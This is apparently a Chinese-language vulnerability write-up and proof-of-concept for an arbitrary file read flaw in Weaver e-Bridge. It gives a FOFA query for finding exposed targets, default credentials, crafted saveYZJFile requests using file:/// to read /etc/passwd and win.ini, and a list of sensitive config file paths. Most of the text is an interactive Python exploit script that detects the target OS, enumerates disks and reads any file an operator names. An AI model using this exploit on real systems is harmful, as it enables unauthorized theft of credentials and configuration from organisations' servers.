漏洞描述 泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息
影响版本 2018-2019几乎全版本
FOFA title="泛微云桥e-Bridge"
漏洞复现 默认密码sysadmin/1
Windwos 访问路径http://xxxx//wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/windows/win.ini&fileExt=txt
成功返回id值,说明存在该漏洞 如果出现{"status":"error","msg":"/C:/windows/win.ini (No such file or directory)"}
则说明系统为linux
调用文件查看接口http://xxxx/file/fileNoLogin/id值
访问C盘根目录则造成目录遍历
Linux 访问路径http://xxxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
成功返回id值,则说明存在该漏洞 如果返回{"status":"error","msg":"\\etc\\passwd (系统找不到指定的路径。)"}
则说明系统为Windows,剩余操作同Windows一样。访问/则造成目录遍历
敏感目录 windows:
d://ebridge c://windows/win.ini d://ebridge/tomcat/conf/server.xml d://ebridge/mysql/my.ini d://ebridge/tomcat/webapps/ROOT/WEB-INF/classes/init.properties
linux:
漏洞利用POC脚本 此代码我封装了部分重复代码,新增了Windows磁盘检测
import reimport sysimport requestsdef title () : print('+------------------------------------------' ) print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m' ) print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m' ) print('+ \033[34m公众号 : PeiQi文库 \033[0m' ) print('+ \033[34mVersion: 泛微云桥 e-Bridge \033[0m' ) print('+ \033[36m使用格式: python3 poc.py \033[0m' ) print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m' ) print('+------------------------------------------' ) def POC_1 (target_url) : vuln_url_1 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt" vuln_url_2 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt" vuln_url_3 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///&fileExt=txt" try : response_1 = requests.get(url=vuln_url_1, headers=headers, verify=False , timeout=10 ) response_2 = requests.get(url=vuln_url_2, headers=headers, verify=False , timeout=10 ) response_3 = requests.get(url=vuln_url_3, headers=headers, verify=False , timeout=10 ) if "无法验证您的身份" in response_1.text and "无法验证您的身份" in response_2.text: print("\033[31m[x] 漏洞已修复,不存在漏洞 \033[0m" ) sys.exit(0 ) else : if "No such file or directory" in response_1.text: print("\033[32m[o] 目标为 Linux 系统\033[0m" ) id = re.findall(r'"id":"(.*?)"' , response_3.text)[0 ] print("\033[32m[o] 成功获取id:{}\033[0m" .format(id)) return id, "linux" elif "系统找不到指定的路径" in response_2.text: print("\033[32m[o] 目标为 Windows 系统\033[0m" ) id = re.findall(r'"id":"(.*?)"' , response_1.text)[0 ] print("\033[32m[o] 成功获取id:{}\033[0m" .format(id)) return id, "windows" else : print("\033[31m[x] 无法获取目标系统\033[0m" ) sys.exit(0 ) except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m" .format(e)) sys.exit(0 ) def POC_2 (target_url, id) : file_url = target_url + "/file/fileNoLogin/{}" .format(id) try : response = requests.get(url=file_url, headers=headers, verify=False , timeout=10 ) response.encoding = 'GBK' print("\033[32m[o] 成功读取:\n\033[0m{}" .format(response.text)) except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m" .format(e)) sys.exit(0 ) def POC_3 (target_url, File, disk) : file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///{}:/{}&fileExt=txt" .format(disk, File) get_files(file_url) def POC_4 (target_url, File) : file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file://{}&fileExt=txt" .format(File) get_files(file_url) def POC_5 (target_url) : disks = ['C' , 'D' , 'E' , 'F' ] disks2 = [] for disk in disks: disk_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///{}:/&fileExt=txt" .format(disk) try : response = requests.get(url=disk_url, headers=headers, verify=False , timeout=10 ) if "系统找不到指定的路径。" in response.text: continue disks2.append(disk) except : print("\033[31m[x] 请求失败,无法获取目标磁盘 \033[0m)" ) print("\033[32m[o] 成功获取磁盘:\033[0m" , end=' ' ) for disk in disks2: print("\033[32m{}\033[0m" .format(disk), end=' ' ) print() return disks2 def POC_6 (target_url, disk) : file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///{}:/&fileExt=txt" .format(disk) get_files(file_url) def get_files (file_url) : try : response = requests.get(url=file_url, headers=headers, verify=False , timeout=10 ) id = re.findall(r'"id":"(.*?)"' , response.text)[0 ] print("\033[32m[o] 成功获取id:{}\033[0m" .format(id)) POC_2(target_url, id) except : print("\033[31m[x] 请求失败,无法读取文件 \033[0m)" ) if __name__ == '__main__' : title() headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" , "Content-Type" : "application/x-www-form-urlencoded" } target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m" )).rstrip('/' ) id, system = POC_1(target_url) if system == "windows" : disks = POC_5(target_url) else : POC_2(target_url, id) while True : if system == "windows" : disk = input("\033[35mDisk >>> \033[0m" ) if disk == "exit" : sys.exit(0 ) else : POC_6(target_url, disk) File = input("\033[35mFile >>> \033[0m" ) if File == "exit" : sys.exit(0 ) else : while True : POC_3(target_url, File, disk) File = input("\033[35mFile >>> \033[0m" ) if File == "quit" : break elif File == "exit" : sys.exit(0 ) else : continue if system == "linux" : File = input("\033[35mFile >>> \033[0m" ) if File == "exit" : sys.exit(0 ) else : POC_4(target_url, File)